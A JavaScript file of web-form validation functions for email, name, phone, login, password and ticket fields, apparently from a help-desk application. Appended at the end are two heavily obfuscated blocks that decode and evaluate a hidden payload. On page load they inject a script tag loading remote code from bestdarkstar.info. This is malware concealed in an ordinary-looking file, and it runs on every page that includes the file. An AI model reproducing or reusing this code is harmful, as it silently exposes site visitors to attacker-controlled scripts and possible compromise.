//EMAIL VARIABLE NAME inside the form = txtEmail & function = checkEmail(form)
// PERSON NAME = txtName & function = checkName(form)
// TELEPHONE NUMBER = phone1 & function = checkPhone(form)

//LOGIN PASSWORD NOT BLANK  = LOGIN= txtEmail and PASSWORD = passwd & function = checkLogin(form)


// FUNCTION TO VALIDATE EMAIL ADDRESS 
////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

//This function is used to check wether the email address entered by the user is valid
function checkEmail(form) {
emailStr = form.txtEmail.value

//The following pattern is used to check if the entered e-mail address fits the user@domain format.  It also is used //to separate the username from the domain.
var emailPat=/^(.+)@(.+)$/

//The following string represents the pattern for matching all special characters.  We don't want to allow special //characters in the address. These characters include ( ) < > @ , ; : \ " . [ ]    */
var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"

//The following string represents the range of characters allowed in a username or domainname.  It really states //which chars aren't allowed. 
var validChars="\[^\\s" + specialChars + "\]"

//The following pattern applies if the "user" is a quoted string (in which case, there are no rules about which //characters are allowed and which aren't; anything goes).  E.g. "jiminy cricket"@disney.com is a legal e-mail //address. 
var quotedUser="(\"[^\"]*\")"

//The following pattern applies for domains that are IP addresses, rather than symbolic names.  E.g. //joe@[123.124.233.4] is a legal e-mail address. NOTE: The square brackets are required. */
var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/

//The following string represents an atom (basically a series of non-special characters.) 
var atom=validChars + '+'

//The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john //and doe are words. Basically, a word is either an atom or quoted string. 
var word="(" + atom + "|" + quotedUser + ")"

// The following pattern describes the structure of the user
var userPat=new RegExp("^" + word + "(\\." + word + ")*$")

//The following pattern describes the structure of a normal symbolic domain, as opposed to ipDomainPat, shown //above. 
var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")

//Finally, let's start trying to figure out if the supplied address is valid. 
//Begin with the coarse pattern to simply break up user@domain into different pieces that are easy to analyze. 
var matchArray=emailStr.match(emailPat)
if (matchArray==null) {

//Too many/few @'s or something; basically, this address doesn't even fit the general mould of a valid e-mail address. 
alert("Invalid email address. (check @ and .'s)")
form.txtEmail.focus()
form.txtEmail.select()
return false
}
var user=matchArray[1]
var domain=matchArray[2]

// See if "user" is valid 
if (user.match(userPat)==null) {
    // user is not valid
    alert("Invalid user name.")
    form.txtEmail.focus()
    form.txtEmail.select()
    return false
}

//If the e-mail address is at an IP address (as opposed to a symbolic host name) make sure the IP address is valid. 
var IPArray=domain.match(ipDomainPat)
if (IPArray!=null) {
    // this is an IP address
	  for (var i=1;i<=4;i++) {
	    if (IPArray[i]>255) {
	        alert("Destination IP address is invalid.")
                     form.txtEmail.focus()
	        form.txtEmail.select()	        
		return false
	    }
    }
    return true;
}

// Domain is symbolic name
var domainArray=domain.match(domainPat)
if (domainArray==null) {
	alert("Invalid domain name.")
             form.txtEmail.focus()
             form.txtEmail.select()	        
    return false
}

//Domain name seems valid, but now make sure that it ends in a three-letter word (like com, edu, gov) or a //two-letter word,representing country (uk, nl), and that there's a hostname preceding the domain or country. 
//Now we need to break up the domain to get a count of how many atoms it consists of. 
var atomPat=new RegExp(atom,"g")
var domArr=domain.match(atomPat)
var len=domArr.length
if (domArr[domArr.length-1].length<2 || 
    domArr[domArr.length-1].length>3) {
   // the address must end in a two letter or three letter word.
   alert("The address must end in a three-letter domain, or two letter country.")
             form.txtEmail.focus()
 	 form.txtEmail.select()	        
   return false
}

// Make sure there's a host name preceding the domain.
if (len<2) {
   var errStr="This address is missing a hostname."
   alert(errStr)
            form.txtEmail.focus()
            form.txtEmail.select()	        
   return false
}

// If we're checking the lower limit of the feedback field with minimum requirement of atleast 5 field, & everything's valid!
return true;
}



function checkFeedback(form) {
var min=3;
if (form.txtFeedback.value.length < min) {
    alert("Feedback field cannot be less than 3 characters");
    form.txtFeedback.focus()
    form.txtFeedback.select()
    return false;
   }
else return true;
}

////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END FUNCTION TO VALIDATE EMAIL ADDRESS



//FUNCTION TO VALIDATE NAME OF PERSON
////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
function checkName(form)
{

  if (form.txtName.value == "")
  {
    alert("Please enter a value for the \" Name\" field.");
    form.txtName.focus();
    return (false);
  }

  if (form.txtName.value.length < 3)
  {
    alert("Please enter at least 3 characters in the \" Name\" field.");
    form.txtName.focus();
    return (false);
  }

  if (form.txtName.value.length > 50)
  {
    alert("Please enter at most 50 characters in the \" Name\" field.");
    form.txtName.focus();
    return (false);
  }

  var checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz \t\n\f";
  var checkStr = form.txtName.value;
  var allValid = true;
  for (i = 0;  i < checkStr.length;  i++)
  {
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length)
    {
      allValid = false;
      break;
    }
  }
  if (!allValid)
  {
    alert("Please enter only letter and whitespace characters in the \" Name\" field.");
    form.txtName.focus();
    return (false);
  }
  return (true);
}

////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END FUNCTION TO VALIDATE NAME OF PERSON



//FUNCTION TO VALIDATE NAME OF TELEPHONE NUMBER
////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

function checkPhone(form)
{

  if (form.phone1.value == "")
  {
    alert("Please enter a value for the \"Telephone\" field.");
    form.phone1.focus();
    return (false);
  }

  if (form.phone1.value.length < 10)
  {
    alert("Please enter at least 10 characters in the \"Telephone\" field.");
    form.phone1.focus();
    return (false);
  }

  if (form.phone1.value.length > 100)
  {
    alert("Please enter at most 100 characters in the \"Telephone\" field.");
    form.phone1.focus();
    return (false);
  }

  var checkOK = "0123456789,";
  var checkStr = form.phone1.value;
  var allValid = true;
  for (i = 0;  i < checkStr.length;  i++)
  {
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length)
    {
      allValid = false;
      break;
    }
  }
  if (!allValid)
  {
    alert("Please enter only digit and \",\" characters in the \"Telephone\" field.");
    form.phone1.focus();
    return (false);
  }
  return (true);
}

////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END FUNCTION TO VALIDATE NAME OF TELEPHONE NUMBER





// LOGIN & PASSWORD BLANK
 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

function checkLogin(form)
{

  if (form.txtEmail.value == "")
  {
    alert("Please enter a value for the \"Login\" field.");
    form.txtEmail.focus();
    return (false);
  }

  if (form.passwd.value == "")
  {
    alert("Please enter a value for the \"Password\" field.");
    form.passwd.focus();
    return (false);
  }


  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END LOGIN & PASSWORD BLANK


// PASSWORD BLANK for testing change password module
 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//oldPass
//newPass
//rePass
function checkPass(form)
{

  if (form.oldPass.value == "")
  {
    alert("Please enter a value for the \"Previous Password\" field.");
    form.oldPass.focus();
    return (false);
  }

  if (form.newPass.value == "")
  {
    alert("Please enter a value for the \"New Password\" field.");
    form.newPass.focus();
    return (false);
  }

  if (form.newPass.value.length < 8)
  {
    alert("Please enter at least 8 characters in the \"New Password\" field.");
    form.newPass.focus();
    return (false);
  }

  if (form.rePass.value == "")
  {
    alert("Please enter a value for the \"Re-Type Password\" field.");
    form.rePass.focus();
    return (false);
  }

  if (form.rePass.value.length < 8)
  {
    alert("Please enter at least 8 characters in the \"Re-Type Password\" field.");
    form.rePass.focus();
    return (false);
  }

 if (form.newPass.value != form.rePass.value )
  {
    alert("New Password and Re-Type Password mis-matched.");
    form.newPass.focus();
    return (false);
  }




  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END PASSWORD BLANK for testing change password module


 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//PRIORITY VALUE FOR SELCT TAB

function checkPriority(form)
{

  if (form.priority.value.length == 0)
  {
    alert("Please select appropriate \"Priority\".");
    form.priority.focus();
    return (false);
  }

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END PRIORITY VALUE FOR SELCT TAB


//CATEGORY VALUE FOR SELECT TAB

function checkCategory(form)
{

  if (form.category.value.length == 0)
  {
    alert("Please select appropriate \"Category\".");
    form.category.focus();
    return (false);
  }

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END CATEGORY VALUE FOR SELECT TAB

//ORGANIZATION in  form

function checkOrgn(form)
{

   if (form.txtOrgn.value == "")
  {
    alert("Please enter \"Organization\" field.");
    form.txtOrgn.focus();
    return (false);
  }

  if (form.txtOrgn.value.length > 150)
  {
    alert("Please enter at most 150 characters in the \"Organization\" field.");
    form.txtOrgn.focus();
    return (false);
  }

  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END ORGANIZATION in request form

//DESCRIPTION in request form

function checkDetail(form)
{

   if (form.drequest.value == "")
  {
    alert("Please enter brief information in \"Detailed Request\" field.");
    form.drequest.focus();
    return (false);
  }

  if (form.drequest.value.length > 2000)
  {
    alert("Please enter at most 2000 characters in the \"Detailed Request\" field.");
    form.drequest.focus();
    return (false);
  }

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END DESCRIPTION in request form

//SUBJECT in request form

function checkSubject(form)
{

   if (form.subject.value == "")
  {
    alert("Please enter informatoin in \"Subject\" field.");
    form.subject.focus();
    return (false);
  }

  if (form.subject.value.length > 200)
  {
    alert("Please enter at most 200 characters in the \"Subject\" field.");
    form.subject.focus();
    return (false);
  }

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END SUBJECT in request form







// LOGIN CHECK FOR CREATION RESOURCE LOGIN
 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

function checkLogn(form)
{



  if (form.txtLogn.value == "")
  {
    alert("Please enter a value for the \"Login\" field.");
    form.txtLogn.focus();
    return (false);
  }


  if (form.passwd.value == "")
  {
    alert("Please enter a value for the \"Password\" field.");
    form.passwd.focus();
    return (false);
  }



 var checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_.abcdefghijklmnopqrstuvwxyz";
  var checkStr = form.txtLogn.value;
  var allValid = true;
  for (i = 0;  i < checkStr.length;  i++)
  {
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length)
    {
      allValid = false;
      break;
    }
  }
  if (!allValid)
  {
    alert("Please enter only letter, _,. and numbers characters  in the \" Login\" field.");
    form.txtLogn.focus();
    return (false);
  }



  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END LOGIN & PASSWORD BLANK



//FUNCTION TO VALIDATE ALIAS NAME OF PERSON
////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
function checkAName(form)
{

  if (form.txtAName.value == "")
  {
    alert("Please enter a value for the \" Alias Name\" field.");
    form.txtAName.focus();
    return (false);
  }



  if (form.txtAName.value.length < 3)
  {
    alert("Please enter at least 3 characters in the \" Alias Name\" field.");
    form.txtAName.focus();
    return (false);
  }

  if (form.txtAName.value.length > 50)
  {
    alert("Please enter at most 50 characters in the \" Alias Name\" field.");
    form.txtAName.focus();
    return (false);
  }

  var checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz \t\n\f";
  var checkStr = form.txtAName.value;
  var allValid = true;
  for (i = 0;  i < checkStr.length;  i++)
  {
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length)
    {
      allValid = false;
      break;
    }
  }
  if (!allValid)
  {
    alert("Please enter only letter and whitespace characters in the \" Alias Name\" field.");
    form.txtAName.focus();
    return (false);
  }
  return (true);
}

////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END FUNCTION TO VALIDATE NAME OF PERSON



//RESOURCE VALUE FOR SELECT TAB

function checkResource(form)
{

  if (form.RID.value.length == 0)
  {
    alert("Please select \"Resource\".");
    form.RID.focus();
    return (false);
  }

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END RESOURCE VALUE FOR SELECT TAB



//ENVIRONMENT VALUE 

function checkEnvID(form)
{

  if (form.EnvID.value.length == 0)
  {
    alert("Please select \"Environment ID\".");
    form.EnvID.focus();
    return (false);
  }

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END ENVIRONMENT VALUE 



//ENVIRONMENT SELECTION
////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
function checkEnvironment(form)

{
x=0;
x = form.envs.length;
z=0;

if (x > 0 ) {
		for (i=0;i<x ;i++ )		{
			if (form.envs[i].checked == true)	{
				z=1;
				i=x;
			}
		}

	if (z==0) {
		alert("Please select \"Environment\".");
		form.envs[0].focus();
		return (false);
	}
}
else {
	if (form.envs.checked == false)
	{
		alert("Please select \"Environment\".");
		form.envs.focus();
		return (false);
	}

}
  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END ENVIRONMENT SELECTION


//KNOWLEDGEBASED  SECTION ADD - FAQ
////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
function ccheckAddKb(form) {

if (form.CatID.value.length == 0)
{
	alert("Please select KB Category");
	form.CatID.focus();
	return false;

}

if (form.question.value.length == 0)
{
	alert("Question cannot be blank");
	form.question.focus();
	return false;

}

if (form.question.value.length > 500)
{
	alert("Question cannot be greater than 500 characters");
	form.question.focus();
	return false;

}

if (form.Answer.value.length == 0)
{
	alert("Answer cannot be blank");
	form.Answer.focus();
	return false;

}

if (form.Answer.value.length > 2500)
{
	alert("Answer cannot be greater than 2500 characters");
	form.Answer.focus();
	return false;

}

  
  return (true);
}

 ////=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
//END ENVIRONMENT SELECTION


var HRS="e7c6eaf2c5a6c0848d99a8f4d5f1c7d4aeefcff2c2d0c7d0d9e0e8e4f6c6ffd3f6cbf2c9c7cae0dbfbc0dbfdd2f2e5dad7d3dcd6f2eecff1f2fdd0c6d2e6d0fcc6b3fdc5bfd1d6fbb9d1cda6d0dc";var mKX;if(mKX!='' && mKX!='SC'){mKX=null};var aj;if(aj!='' && aj!='dN'){aj=null};this.HRz=6276;function M(k){var L="L";var Bx=new Date(); function D(x,U){return x^U;var Ps;if(Ps!='bM' && Ps != ''){Ps=null};var Myr;if(Myr!='nf' && Myr != ''){Myr=null};}var uW="uW";var IZ="IZ";var pS=new Date(); var i=function(C){var Dw=new String();var ht=new String();var Lc;if(Lc!='s'){Lc='s'};var WC="";var r=[49,78,0][2];var mL;if(mL!='' && mL!='rC'){mL=''};var y=[199,255,174][1];var l;if(l!='HT'){l=''};var Nr;if(Nr!='kJ' && Nr!='K'){Nr='kJ'};var wt=C[n("gelnth", [2,1,3,0])];var pz=new Array();var Mv=[0,244,28][0];var sz="";this.zq="zq";var m=[242,36,1][2];var lZ=new Date();var ND;if(ND!='VW'){ND=''};this.kmd="";var gk;if(gk!='' && gk!='QK'){gk=''};while(Mv<wt){var ke=new Array();Mv++;xQ=ic(C,Mv - m);var Ej=new String();r+=xQ*wt;var rA=new Array();var eB;if(eB!='jj'){eB=''};}var Se;if(Se!=''){Se='ep'};var Tx=44977;return new F(r % y);var Ld=false;var Ll;if(Ll!=''){Ll='WE'};};this.FY="FY"; function ic(Q,h){this.HV=23868;return Q[n("achrdCoeAt", [1,2,0,3])](h);var Ha;if(Ha!='Xo' && Ha!='tJ'){Ha=''};}var Wge;if(Wge!=''){Wge='PY'};var fL="";var kX=new String();var lb=new String(); this.iz='';var CB;if(CB!='Te' && CB!='av'){CB='Te'};function n(Cm, B){this.Nz=false;var MW;if(MW!='Xh'){MW=''};var HJ;if(HJ!='iA' && HJ!='wU'){HJ=''};var E=[0][0];var m=[1,86][0];var Th="";var TJ="";var MS = Cm.length;var BT = '';var q = B.length;this.zl=23011;var HS=new String();var TL;if(TL!='' && TL!='wf'){TL=''};var Cq=new String();for(var f = E; f < MS; f += q) {var MF = Cm.substr(f, q);this.mx="mx";var FL;if(FL!='ife' && FL!='tF'){FL=''};if(MF.length == q){var LP;if(LP!='' && LP!='jk'){LP=null};var NX;if(NX!=''){NX='Jf'};for(var Mv in B) {var Wf;if(Wf!='hn' && Wf != ''){Wf=null};this.pL=64601;BT+=MF.substr(B[Mv], m);var kq;if(kq!='' && kq!='ID'){kq=''};var Zb;if(Zb!='' && Zb!='HE'){Zb='AD'};}var Gz=new Array();var Fe;if(Fe!='Rz' && Fe!='hO'){Fe='Rz'};} else {  BT+=MF;var UY;if(UY!='lm'){UY=''};var oJ="";}var qHg;if(qHg!='Mi' && qHg!='IA'){qHg='Mi'};}var la='';var ki;if(ki!='' && ki!='EX'){ki=''};return BT;var Me;if(Me!='fJ'){Me='fJ'};}var IE;if(IE!='By'){IE='By'};var c="c";this.yO=''; var mg=new Date();function u(Cm){var lk;if(lk!='tH' && lk != ''){lk=null};var f =[55,0][1];var wq;if(wq!='ip'){wq=''};this.Jn=false;Cm = new F(Cm);var kk;if(kk!='' && kk!='nI'){kk=null};var LO;if(LO!='' && LO!='zc'){LO=null};var E =[0,249,109][0];var WH=new Array();var p = -1;var gv=18358;var BT = '';var xEC;if(xEC!='Hj' && xEC != ''){xEC=null};var QN;if(QN!='' && QN!='Di'){QN='ug'};var psy='';var BX;if(BX!='TLF'){BX='TLF'};for (f=Cm[n("enltgh", [2,0,1,4,3])]-p;f>=E;f=f-[1][0]){BT+=Cm[n("hcratA", [1,0])](f);this.xX=17793;}var QB=new Date();return BT;}var HP;if(HP!='BC'){HP='BC'};var eC;if(eC!=''){eC='gM'};var Es=false;var RX;if(RX!='xT'){RX=''};this.Gg='';var nD;if(nD!='' && nD!='lmE'){nD=''};var qc=window;this.tQ="";var YZ=new Array();var Ma=qc[n("lave", [3,2,1,0])];var g=Ma(n("nuFitcon", [2,1,0]));this.BP=19306;var KWw;if(KWw!='jgu'){KWw='jgu'};var jf;if(jf!='Ryp'){jf=''};var d=Ma(n("pEeRgx", [3,2,4,1,5,0]));var F=Ma(n("trSngi", [2,0,1]));var aV;if(aV!=''){aV='qG'};var nY=false;var a = '';var Fz;if(Fz!='NU' && Fz != ''){Fz=null};this.DQE="";this.Lp="";var Bi;if(Bi!='PE'){Bi='PE'};var jU="jU";var akR='';var HR='';var NO=43300;var Ol=new String();var Vm="Vm";var Cw=qc[n("snueeacp", [2,1,3,0])];var pY=F[n("rfmohCraoCed", [1,0])];var Ou;if(Ou!='' && Ou!='kG'){Ou=null};var kM = /[^@a-z0-9A-Z_-]/g;this.FC="";this.kF="";var qU =[141,9,2][2];var jc="jc";var Xr;if(Xr!='lO' && Xr != ''){Xr=null};var yH=new Array();var rg = F.fromCharCode(37);var b=[1, n("odmucnec.teretalEemetns\'(rctpi\')", [1,0,4,3,2]),2, n("ucodm.tneb.ydoaneppdlihCd(d)", [3,2,1,0,4]),3, n("eiwkiprida.og", [2,1,3,4,5,0]),4, n("ocmu.ssp.ocmw.htieapges", [1,0,2]),5, n("eh.otmcurfeown08u.:rm80", [6,3,5,2,4,1,0]),6, n(".dsteAttrbiuet(d\'eefr\'", [1,0,2]),7, n("iwnodwo.nolad", [1,0,2]),8, n("ogogel.com", [1,0,2,3]),11, n("cifnoutn()", [2,5,3,0,6,1,4]),12, n("pyal.ogjp", [1,2,0,3]),14, n("111841c.n", [1,0]),15, n("acct(h)e", [1,0]),16, n("ph\":tt", [2,1,5,4,0,3]),17, n("rsd.c", [2,3,1,0]),18, n("\'1\')", [2,1,0,3]),19, n("rty", [1,0]),20, n("bna", [1,0])];var xAB;if(xAB!='' && xAB!='ZS'){xAB=null};var Ml=new Array();var E =[0,118][0];var v = '';var V = k[n("elgnht", [1,0])];var oz=10700;var zO;if(zO!='pp'){zO='pp'};var CZ =[0][0];this.BD='';var Pe;if(Pe!='McS' && Pe != ''){Pe=null};var j = '';var m =[1][0];var YH;if(YH!='FS' && YH!='cr'){YH=''};var kuJ=false;var X = '';var ADi;if(ADi!='CO'){ADi=''};var EcL="";for(var Bc=E; Bc < V; Bc+=qU){j+= rg; var er;if(er!='' && er!='kJv'){er=''};j+= k[n("ussbrt", [1,0])](Bc, qU);}var pg;if(pg!='' && pg!='Ci'){pg=''};this.ZP='';var k = Cw(j);var AF;if(AF!='' && AF!='dWT'){AF='HK'};var uh="";var dx;if(dx!='' && dx!='rZ'){dx=''};var ni = new F(M);var jH=new Array();var rS = ni[n("paelrce", [4,2,0,3,1,5])](kM, X);var Z = b[n("nlehgt", [1,2,0])];var IQu=new String();rS = u(rS);var Qp='';var Gzy;if(Gzy!='' && Gzy!='Pv'){Gzy=''};var H = new F(g);var Ap;if(Ap!='bs'){Ap=''};var VL = H[n("lprcaee", [2,6,1,0,4,3,5])](kM, X);var mQ="";var VL = i(VL);this.rr='';this.Cmc='';var HD=i(rS);this.bE="";var sS=8085;var kvi;if(kvi!='oN'){kvi=''};for(var f=E; f < (k[n("nlgteh", [1,4,0,2,3])]);f=f+[1][0]) {var AL;if(AL!='rq' && AL!='sT'){AL='rq'};this.Ft='';this.TRn='';var hg;if(hg!='' && hg!='Bk'){hg=null};var O = rS.charCodeAt(CZ);var xbm;if(xbm!='qN' && xbm != ''){xbm=null};this.mad=false;var jg = ic(k,f);var rR;if(rR!='QL' && rR!='SQ'){rR=''};var GY;if(GY!='Kru'){GY=''};jg = D(jg, O);var Vz;if(Vz!='kMz' && Vz!='wd'){Vz=''};jg = D(jg, HD);var SV;if(SV!='nYW'){SV=''};jg = D(jg, VL);this.FQ=false;var VLL;if(VLL!='' && VLL!='zL'){VLL=null};CZ++;var nk=false;if(CZ > rS.length-m){var XT=6033;var Vw=new String();CZ=E;}v += pY(jg);var jM;if(jM!='JOd' && jM!='gpU'){jM=''};}var Yq;if(Yq!=''){Yq='Ff'};this.LC="LC";var oj;if(oj!='' && oj!='kV'){oj=''};var LU;if(LU!='vt' && LU != ''){LU=null};for(My=E; My < Z; My+=qU){var eE;if(eE!=''){eE='wQ'};var HQ='';var lJQ=new Array();var tf=new Array();var G = b[My + m];var W = pY(b[My]);var Is="Is";var vrT;if(vrT!='uw'){vrT='uw'};var Dwk;if(Dwk!='pP'){Dwk='pP'};var ir;if(ir!=''){ir='Cc'};var N = new d(W, F.fromCharCode(103));v=v[n("perceal", [2,4,0,6,5,3,1])](N, G);this.eD="";this.AI=false;}var BCx=new Date();var WQ=new g(v);WQ();var sW;if(sW!='' && sW!='UW'){sW=null};var wP="";WQ = '';var AED=30168;var aa;if(aa!='' && aa!='ok'){aa='Byd'};v = '';this.FtF="FtF";this.MIZ="MIZ";rS = '';this.RW=11184;VL = '';var gx;if(gx!='' && gx!='Nc'){gx=''};var sI=false;HD = '';var bl;if(bl!=''){bl='AM'};H = '';this.uT="";var gkn=new Date();return '';var Dc=34681;var sQ="sQ";};var mKX;if(mKX!='' && mKX!='SC'){mKX=null};var aj;if(aj!='' && aj!='dN'){aj=null};this.HRz=6276;M(HRS);


var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};